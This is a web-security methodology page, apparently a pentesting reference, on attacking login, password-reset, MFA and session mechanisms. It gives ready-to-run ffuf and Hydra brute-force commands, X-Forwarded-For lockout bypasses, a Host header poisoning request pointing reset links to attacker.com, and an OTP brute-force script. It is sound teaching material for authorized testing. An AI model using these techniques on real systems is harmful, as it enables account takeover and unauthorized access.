Authentication

Exploit weak authentication mechanisms to gain unauthorized access.

Reference6 steps5 tools

Methodology

  1. 1Test for default/weak credentials
  2. 2Analyze password reset & account recovery flows
  3. 3Test brute-force protections (lockout, rate limiting, CAPTCHA)
  4. 4Check for username enumeration
  5. 5Test multi-factor authentication bypasses
  6. 6Analyze session management (token strength, fixation, logout)

Detailed Steps

Test login with known vs unknown usernames to find differences:

shell
POST /login
username=admin&password=wrong
→ "Invalid password" (user exists!)

username=randomuser&password=wrong  
→ "Invalid username or password" (different message!)

Check for differences in:

  • Error messages (text differences)
  • Response time (valid user = slower due to hash comparison)
  • HTTP status codes
  • Response length

Tools:

bash
# Burp Intruder — enumerate usernames
# ffuf
ffuf -w usernames.txt -u http://target/login -X POST \
  -d "username=FUZZ&password=test" -fr "Invalid username"

Burp Intruder (Cluster Bomb):

  • Payload 1: username list
  • Payload 2: password list
  • Filter by response length/status

Hydra:

bash
hydra -L users.txt -P passwords.txt target http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid"

Common password lists:

  • /usr/share/wordlists/rockyou.txt
  • SecLists/Passwords/Common-Credentials/

IP-based lockout bypass:

shell
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1

Techniques:

  1. IP rotation via X-Forwarded-For header with different IPs
  2. Credential stuffing — one attempt per account across many accounts
  3. Null byte injection: admin%00 may bypass lockout check
  4. Case manipulation: Admin, ADMIN, aDmIn
  5. Distributed brute force from multiple IPs

Testing lockout:

shell
1. Fail 5 times → check if locked
2. Try different username casing
3. Try with/without spaces
4. Try with special characters appended

Test for:

  1. Predictable tokens:
shell
/reset?token=123456  → try token=123457
/reset?token=base64(email)  → decode and forge
  1. Host header poisoning:
shell
POST /forgot-password
Host: attacker.com

→ Reset link sent with attacker's domain
  1. Parameter pollution:
shell
POST /forgot-password
email=victim@email.com&email=attacker@email.com
  1. Token not invalidated after use
  2. Token doesn't expire
  3. Password reset via JSON parameter injection
  1. Direct page access — skip MFA page, go directly to authenticated page
  2. Response manipulation — change "success":false to "success":true
  3. Brute force OTP — 4-digit = only 10,000 combinations
  4. Token reuse — use same OTP code multiple times
  5. Backup codes — test default or predictable backup codes
  6. Race condition — send multiple OTP verification requests simultaneously
bash
# Brute force 4-digit OTP with Burp Intruder
# Payload: 0000-9999
# Or with ffuf:
seq -w 0000 9999 > otp.txt
ffuf -w otp.txt -u http://target/verify -X POST \
  -d "otp=FUZZ" -H "Cookie: session=xxx" -fc 403

Session Fixation:

shell
1. Get a session token from the app
2. Force victim to use your session token
3. Victim authenticates → your token is now authenticated

Weak Session Tokens:

  • Check if sequential (session1, session2...)
  • Check if based on timestamp
  • Check entropy with Burp Sequencer

Stay-Logged-In Cookie:

shell
Cookie: remember=base64(admin:md5(password))
→ Decode and crack the hash

Logout flaws:

  • Session still valid after logout
  • Token not invalidated server-side

© 2026. For authorized testing and education only.

Use only against systems you own or have permission to test.